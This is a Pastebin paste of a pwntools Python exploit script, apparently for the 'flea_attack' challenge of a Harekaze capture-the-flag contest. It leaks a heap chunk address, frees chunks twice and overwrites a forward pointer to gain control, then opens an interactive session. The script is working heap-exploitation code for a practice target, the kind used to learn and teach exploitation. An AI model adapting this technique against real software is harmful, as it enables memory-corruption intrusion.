Guest User

Untitled

a guest
Feb 23rd, 2018
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.93 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import pwn
  4. from pwn import *
  5.  
  6. p = pwn.process("./flea_attack.elf")
  7. # p = pwn.remote("problem.harekaze.com",20175)
  8. raw_input("<ATTACH NOW>")
  9. p.recv()
  10. # the size is 0x04.
  11. p.sendline("") # no-one cares
  12. p.recvuntil(">")
  13. p.sendline("1")
  14. p.recv()
  15. p.sendline("50")
  16. buf = "blahblah"
  17. buf += p64(0)
  18. buf += p64(0)
  19. buf += p64(0x21)
  20. p.sendline(buf)
  21. p.recvuntil("Addr: ")
  22. basechunk = int(p.recvuntil("\n").rstrip(),16)
  23. print " ADDRESS OF CHUNK AT: %x" % basechunk
  24. raw_input("<STOP>")
  25. p.recvuntil(">")
  26. p.sendline("2")
  27. p.recv()
  28. print " FREEING CHUNK at %x" % (basechunk + 0x20)
  29. p.sendline("%x" % (basechunk + 0x20))
  30. p.recvuntil(">")
  31. p.sendline("2")
  32. p.recv()
  33. p.sendline("%x" % basechunk)
  34. p.recvuntil(">")
  35. print "ALLOCATING FIRST CHUNK WITH OVERWRITE"
  36. p.sendline("1")
  37. p.sendline("50")
  38. buf = "blahblah"
  39. buf += p64(0)
  40. buf += p64(0)
  41. buf += p64(0x21)
  42. # buf += p64()
  43. buf += p64(0x203ff8) # FWD PTR. Must be a valid chunk header.
  44. p.sendline(buf)
  45. p.interactive()
Add Comment
Please, Sign In to add comment